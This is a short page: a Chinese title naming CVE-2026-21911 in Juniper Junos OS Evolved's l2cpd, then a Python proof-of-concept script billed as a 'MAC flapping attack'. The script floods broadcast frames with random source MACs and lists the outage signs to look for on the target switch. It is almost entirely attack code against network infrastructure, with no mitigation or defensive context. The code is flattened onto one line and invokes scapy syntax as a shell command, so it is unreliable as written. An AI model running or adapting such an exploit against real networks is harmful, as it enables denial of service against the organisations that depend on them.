CVE-2026-21911 Juniper Junos OS Evolved l2cpd不正确计算漏洞导致MAC学习停止

#!/usr/bin/env python3 # CVE-2026-21911 PoC - Juniper Junos OS Evolved l2cpd MAC Flapping Attack # This PoC demonstrates the MAC address flapping attack against vulnerable Junos OS Evolved import subprocess import time import sys import random import string def generate_random_mac(): """Generate a random MAC address for testing""" return ':'.join([f'{random.randint(0, 255):02x}' for _ in range(6)]) def send_malformed_ethernet_frames(interface, duration=60, interval=0.1): """ Send malformed Ethernet frames to trigger MAC flapping This simulates the attack behavior described in CVE-2026-21911 """ print(f"[*] Starting MAC flapping attack on interface: {interface}") print(f"[*] Attack duration: {duration} seconds") print(f"[*] Frame interval: {interval} seconds") start_time = time.time() frame_count = 0 while time.time() - start_time < duration: src_mac = generate_random_mac() dst_mac = "ff:ff:ff:ff:ff:ff" # Craft Ethernet frame with rapid source MAC changes # This mimics the behavior that triggers the l2cpd vulnerability cmd = [ "sendp", f"Ether(src='{src_mac}', dst='{dst_mac}')/Raw(load='trigger_data')", "-i", interface, "-o", str(interval), "-l", # Loop mode ] try: subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) frame_count += 1 if frame_count % 100 == 0: print(f"[*] Sent {frame_count} frames...") except Exception as e: print(f"[!] Error sending frame: {e}") time.sleep(interval) print(f"[*] Attack completed. Total frames sent: {frame_count}") def check_junos_version(target_ip): """ Check if target is running a vulnerable Junos OS Evolved version """ print(f"[*] Checking Junos version on {target_ip}...") # Example command to check version - requires SSH access cmd = ["ssh", f"admin@{target_ip}", "show version"] try: result = subprocess.run(cmd, capture_output=True, text=True, timeout=10) print(result.stdout) return True except: print("[!] Could not connect to target") return False def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2026-21911-poc.py <network_interface>") print("Example: python3 cve-2026-21911-poc.py eth0") sys.exit(1) interface = sys.argv[1] duration = int(sys.argv[2]) if len(sys.argv) > 2 else 60 print("=" * 60) print("CVE-2026-21911 PoC - Juniper Junos OS Evolved l2cpd Attack") print("=" * 60) send_malformed_ethernet_frames(interface, duration) print("\n[!] Attack simulation complete") print("[!] Check target device for:") print(" - High CPU usage by l2cpd process") print(" - Log flood with GETIFBD_VALIDATE_FAILED errors") print(" - MAC learning failures on LSI interfaces") if __name__ == "__main__": main()